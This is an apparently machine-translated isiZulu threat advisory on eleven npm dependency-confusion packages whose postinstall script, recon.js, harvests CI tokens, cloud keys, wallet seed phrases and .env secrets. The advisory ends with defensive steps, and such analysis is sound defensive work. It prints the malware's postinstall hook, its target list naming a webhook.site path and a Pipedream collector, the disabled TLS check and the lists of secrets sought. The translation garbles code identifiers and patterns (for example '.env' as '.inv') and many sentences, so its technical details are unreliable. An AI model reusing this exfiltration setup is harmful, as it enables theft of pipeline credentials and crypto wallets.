TL; DR
Ngomhlaka-2026-06-17, kwashicilelwa i-akhawunti eyodwa ye-npm amaphakheji ayishumi nanye abelana ngenhloso eyodwa kanye nomthwalo owodwaEziyishumi zazo ziphethe cryptodao- isiqalo (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); eyeshumi nanye iyi-scoped @public-for-cdao/coreKonke kwanyatheliswa enguqulweni 99.99.99 futhi ithumela i-byte-efanayo recon.js lokho kuyaqhubeka postinstall.
Amagama ayisibonelo. Afundeka njengezakhi zangaphakathi ze-crypto/DAO toolchain yangasese yephrojekthi. Kushicilelwe kurejista yomphakathi ye-npm ngenguqulo ephezulu yokwenziwa, bahlala belinde ukwakhiwa pipeline elungiselelwe ukuxazulula lawo magama futhi efinyelela umphakathi npm ngaphambi - noma esikhundleni - kwerejista yangasese. Lokhu ukudideka kokuthembela, futhi umthwalo ulungiselelwe ngqo lapho ulindele ukufika khona: CI/CD abagijimi.
Nini postinstall imililo, recon.js uqoqa imininingwane yombungazi, ushanela ngokukhulu ukucophelela i-40 cloud, CI, kanye ne-crypto-wallet variables environment, ifunda noma yikuphi .env ifaka amafayela engawathola bese idlulisela imigqa eyimfihlo ngokuqondile, bese idlulisela iphakheji kubaqoqi ababili — webhook.site kanye ne-endpoint ye-Pipedream — lapho ukuqinisekiswa kwesitifiketi se-TLS kukhutshaziwe. Ikhophi nayo ibhalwe ngaphansi kwe- /tmp.
Ukwehla: high. Uhlelo oluthintekile: npmWonke amaphakheji ayishumi nanye abesebukhoma ngesikhathi sokubhala.
Ukwakheka komzimba kokuhlasela
Lo mshini unezingxenye ezine ezihambayo, futhi akukho neyodwa kuzo engabonakali uma wazi ukuthi bheka ungqimba olulodwa ngaphezu kwegama lephakheji.
1. Inguqulo ye-inflation njenge-resolver lure. Iphakheji ngayinye imemezela inguqulo 99.99.99Ukudideka kokuthembela kusebenza lapho umphathi wephakheji, ecela igama langaphakathi, liphinde lihlole irejista yomphakathi bese likhetha inguqulo ephezulu kakhulu yalo ithola. Ukukhetha okuzenzakalelayo kwe-npm kobubanzi be-caret noma be-wildcard yi- inguqulo eyanelisa kakhulu kuyo yonke imithombo ehleliwe; uma kokubili kuyi-private irejista kanye nempendulo yomphakathi ye-npm yegama elifanayo, inombolo enkulu yenguqulo iyawina. A 99.99.99 idlula noma iyiphi inguqulo yangempela yangaphakathi iphrojekthi ezoba nayo kufinyelelwe, ngakho-ke umxazululi ongaboshelwe emthonjeni oyimfihlo ukhetha umphakathi — futhi kulokhu, unenzondo — ikhophi. Umsebenzisi akudingeki azi ukuthi izinombolo zenguqulo yangempela yomgomo; ukukhetha okuphezulu okungenangqondo kuqinisekisa ukulingana njalo uyabaphula indlela.
2. Isiqalisi sangemuva kokufakwa. iphakethe.json ifaka umthwalo okhokhelwayo ekufakweni umjikelezo wokuphila:
{ "scripts": { "postinstall": "node recon.js" } }Akukho ukungenisa kwephakheji okudingekayo. Ukuyifaka nje — okuyinto i-CI pipeline iyasebenza ngokuzenzakalelayo — isebenza i-recon.js.
3. Ukusesha okuyimfihlo okubanzi. i-recon.js ihlanganisa uhlu lwemiphumela ngezigaba:
- Umongo womsingathi: igama lomethuleli, ipulatifomu kanye nokukhululwa, ukwakheka, igama lomsebenzisi, ukusebenza isiqondisi.
- Izinguquko zemvelo: iphinda uhlu oluhleliwe lwamagama namarekhodi angaba angamashumi amane noma yiziphi ezisethiwe. Uhlu luyembula — luhlanganisa amathokheni e-CI ajwayelekile (CI_JOB_TOKEN, I-CI_REGISTRY_PASSWORD, I-GITLAB_ACCESS_TOKEN) kanye nefu imininingwane (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, I-AWS_SESSION_TOKEN) ngezimfihlo zokubhalisa kanye neziqukathi (I-NPM_TOKEN, I-DOCKER_PASSWORD, I-HARBOR_PASSWORD) kanye neqoqo elinongwe nge-crypto elicacile: UKHIYE OYIMFIHLO, I-MNEMONIC, I-SEED_PHRASE, INFURA_API_KEY, UKHIYE_WE-ALCHEMY_API, I-ETH_RPC, I-BSC_RPCAmanani aqoshiwe ancishisiwe abe yizinhlamvu zokuqala ezingu-50.
- .inv amafayela: ihlola uhlu lwezindlela — .inv, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, futhi .ukukhiqiza/.ukuthuthukiswa izinhlobo — futhi kunoma yiliphi ifayela elikhona, lizo kuhlunga okuqukethwe kufane nemigqa ISIHLUTHULELO|IMFIHLO|ITHOKINI|IPHUTHA|IYOKUBHEKANA|OKUQONDISA futhi isunduza leyo migqa **ngokugcwele, ingafinyezwanga** emiphumeleni.
- Umongo we-Build-host: ubala okufakiwe okungu-20 kokuqala /yakha/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, Futhi / tmp /.
Uhlu lwendlela kanye nohlu oluguquguqukayo lunesisindo esiqondiswe kubagijimi beGitLab, okukhomba umthwalo okhokhelwayo ngqo kwingqalasizinda ye-CI ezisingatha yona kunokuba kube ngunjiniyela i-laptop. Ukuhlanganisa uhlu lokuvuna ngezigaba kwenza ukuthutha okuhlosiwe kube lula:
Iqoqo le-crypto liyingxenye ehlukanisa lokhu kumfihlo ye-CI ejwayelekile ukushanela: imishwana yembewu yesikhwama kanye nezihluthulelo zokusayina zivela kuphela endaweni ye- iphrojekthi ye-blockchain, futhi baqonda ngqo ku- i-cryptodao-/uphawu/izivumelwano amagama abathwali.
4. Ukukhipha kabili ngokuqinisekisa kukhutshaziwe. Iqoqo eliqoqiwe liyi ihlelwe ngokulandelana futhi ithunyelwe ezindaweni ezimbili:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })ukwenqabaOkungagunyaziwe: amanga ivala ukuhlolwa kwesitifiketi se-TLS kokuphumayo izingcingo. Idatha efanayo iphrintwa ku-stdout (ngakho-ke ifika futhi ku-CI job logs) kanye kubhalelwe /tmp/.npm_recon_ .jsonAmaphutha agwinywa buthule, ngakho-ke ukuthumela kwehlulekile akushiyi mkhondo ekukhishweni kokufaka okungaphezu kweyodwa [ukuphinda ucabange] kufakwe ku- umugqa.
Ukuphawula okuhamba phambili kufayela kukuchaza ngokuthi “Ukudideka Kokuxhomekeka Umthwalo Wokubheka.” Ukunqunywa kwamanani emvelo abe yizinhlamvu ezingu-50 kuye isimo sobufakazi bomqondo. Okuyihambisa idlule isibani sokuba khona kuphela .inv ukuphatha: imigqa ethwele imfihlo idluliselwa ngokugcwele, futhi izindawo oya kuzo bangabaqoqi ababili abasebenzayo, abalawulwa abahlaseli kunokuba kube yi-sink ebaluleke kakhulu kuphela ukushaya.
esibekelwe
Iphethini yokushicilela iyisiginesha ye-push eyodwa ebhalwe phansi, hhayi i-eleven ukulayisha okuzimele.
Amaphakheji ayishumi aphuma ngaphakathi kwefasitela lemizuzwana engama-29, cishe elilodwa njalo ngemizuzwana emithathu. I-scoped @umphakathi-we-cdao/umongo kwalandela cishe imizuzu engama-24 ngemva kwalokho — umzuzwana umkhuba wokuqamba igama lomgomo ofanayo, uma kwenzeka iphrojekthi esetshenziswayo ibhekisela ku- i-internal toolchain ngaphansi kobubanzi kunokuba amagama angenalutho.
Izinkomba zokuvumelana
Ukuchazwa kanye nokuziphatha okubonwe
Konke mayelana neqembu kukhomba esandleni esisodwa. Wonke amaphakheji ayishumi nanye ashicilelwe nge-akhawunti ye-npm i-adultjune (aduljune@proton.me, ikheli elingaqinisekisiwe elingenayo indawo yokugcina imithombo exhunyiwe), ngaphakathi kwemizuzu engama-25, ngesikhathi esifanayo 99.99.99 inguqulo, ukuthumela i- i-recon.js okuqukethwe kwawo kufana nge-byte nge-byte kuzo zonke iphakheji (i-MD5 ifana kuwo wonke amakhophi ayishumi nanye akhishwe). Lowo umthwalo owodwa wokukhokha kugxivizwe ohlwini lwamagama, hhayi ukusetshenziswa kabusha kwekhodi okuzimele.
Uhlu lwamagama luchaza okuhlosiwe. i-cryptodao-* futhi cdao chaza ukwakheka kwemodyuli yangasese yephrojekthi ye-crypto/DAO, kanye nohlu lokuvuna lomthwalo okhokhelwayo izibuko eziqagelayo: eceleni kwe-CI ejwayelekile kanye nezimfihlo zamafu, ikakhulukazi ukufinyelela UKHIYE OYIMFIHLO, I-MNEMONIC, I-SEED_PHRASE, kanye ne-Ethereum/BSC RPC kanye okhiye bomhlinzeki. .inv izindlela zokusesha kanye nohlu lwezinhlu ziyi-GitLab-runner okuqondile. Umphumela obonakalayo ukuthi noma yikuphi pipeline bakhohlisiwe ukuze bafake lezi amagama azodlulisela amathokheni ayo e-CI, okhiye bamafu, kanye ne-on-disk .inv izimfihlo — futhi, ngenxa iphrojekthi ye-blockchain, impahla yayo yesikhwama — kubaqoqi ababili bezinkampani zangaphandle.
Asisho lutho ngokuthi ubani ophethe i-akhawunti noma ukuthi bahlela ukwenzani ngayo idatha. Amaqiniso azimele wodwa: amagama ahlose uhlobo oluthile lwe- i-toolchain yangaphakathi, umthwalo wokukhokha ufunda futhi udlulise amanani ayimfihlo angempela, kanye ingqalasizinda ibibukhoma.
Umthelela, izitayela, kanye nesiqondiso sabavikeli
Ukudideka kokuthembela ihlala isebenza kahle ngoba isebenzisa ukuziphatha kokuxazulula izinkinga, hhayi ubuthakathaka kunoma yiliphi iphakheji. Isithwali lapha sincane — ishumi nanye cishe ayinalutho amaphakheji — kodwa i-blast radius iyinoma yini pipeline ngephutha ukhetha i-public npm ngegama langaphakathi. Abagijimi be-CI bayindawo embi kakhulu yokwenza lokho: babamba kanye namathokheni kanye .inv amafayela alo mbhalo womthwalo okhokhelwayo, bese bewafaka ukuxhomekeka okungasebenzisani, ngakho-ke faka okuthunyelwe ugijima kungekho muntu ombukayo.
Leli qembu lihambisana nephethini esihlala siyibona: imithwalo yokulayisha ngesikhathi sokufaka ekhona “njengocwaningo” noma “ukuhlola kabusha” ngenkathi kwenziwa iqoqo langempela leziqinisekiso. Ilebula Okukufayela akushintshi lokho okwenziwa yikhodi ku-runner. Izinketho ezimbili zokuklama ziyaqhubeka umsebenzi uthule: yonke imisebenzi yenethiwekhi kanye nesistimu yamafayela igoqwe ngendlela isiphathi se-exception esilahla amaphutha, ngakho-ke ukuthumela okuvinjelwe noma ifayela elilahlekile ayikhiqizi umphumela wokuxilonga, futhi okuwukuphela kwento ephrintiwe iwumbhalo owodwa ongenangozi [ukuphinda uhlele] … kufakiwe umugqa ohlangana nengxoxo evamile yokufaka. Ukusetshenziswa kwe webhook.site futhi i-Pipedream nayo iyindlela elula eyenziwe ngamabomu — kokubili kumahhala, izinsizakalo zokubamba izicelo ezihlinzekwe ngokushesha, ngakho-ke umqhubi akadingi amaseva e- ezabo futhi izindawo eziya kuzo zibukeka njengegama elijwayelekile le-SaaS kuma-log okuphuma.
Ezomnotho yizo ezenza lokhu kufanelwe ukunakwa ngumvikeli yize ikhodi yenkampani yenethiwekhi ayibalulekile. Ukubhalisa amagama ayishumi nanye akubizi lutho, umthwalo ungowodwa ifayela likopishwe izikhathi eziyishumi nanye, bese umphathi wephakheji enza konke ukwenziwa. kulungiselelwe kabi pipeline noma kuphi lapho kusetshenziswa elinye lala magama kukhokhela lonke ukusebenza.
Izinyathelo eziqondile zabavikeli:
- Namathisela izikophu zangaphakathi kurejista yakho yangasese. Lungiselela amagama angaphakathi e-npm ukuze
futhi ama-scope axazululeka kuphela ngokumelene nerejista yakho (amamephu erejista ye-.npmrc e-scoped, noma i-proxy engalokothi iwele ku-npm yomphakathi yezindawo zamagama eziphethwe ngabanikazi). Bhukha amagama akho e-public scope ukuze kungabikho omunye umuntu ongawabhalisa.
- Commit lockfiles bese ufaka nge--ignore-scripts ku-CI lapho kungenzeka khona, noma hlola isethi encane yezinto ezixhomekekile ezidinga ngempela izikripthi zokufaka. i-recon.js ayikwazi ukusebenza uma faka okuthunyelwe akwenziwa.
- Phatha inguqulo engu-99.99.99 (noma enye inguqulo ephezulu ngendlela exakile) yegama elibukeka lingaphakathi njengefulegi elibomvu ekubuyekezweni kokuthembela kanye nokuqapha irejista.
- Isexwayiso ngesikhathi sokufaka. A faka okuthunyelwe evula i-HTTPS ephumayo uxhumano — ikakhulukazi lapho ukuqinisekiswa kwesitifiketi kukhutshaziwe — ukuze I-webhook.site, i-Pipedream, noma izinsizakalo ezifanayo zokubamba izicelo kufanelekile ukuzivimba emaphethelweni enethiwekhi futhi zifakwe uphawu kumalogi okwakha.
- Zingela izinto zobuciko. Hlola abagijimi be- /tmp/.npm_recon_*.json futhi ngenxa ye [recon] ... kufakwe ku-... umaka ku-CI logs yakamuva. Uma kutholakala, shintshanisa yonke iziqinisekiso ezivezwe kulokho pipeline — Amathokheni e-CI, okhiye bamafu, amathokheni okubhalisa, nanoma yiziphi izimbewu zesikhwama noma okhiye abazimele abakhona endaweni noma kumafayela e-.env.
Okubhekwayo
Akukho ukubika kwangaphandle ngaleli qembu okwakukhona ngesikhathi sokubhala; ukuhlaziywa ngenhla kusekelwe ngqo kokuqukethwe kwephakheji eshicilelwe
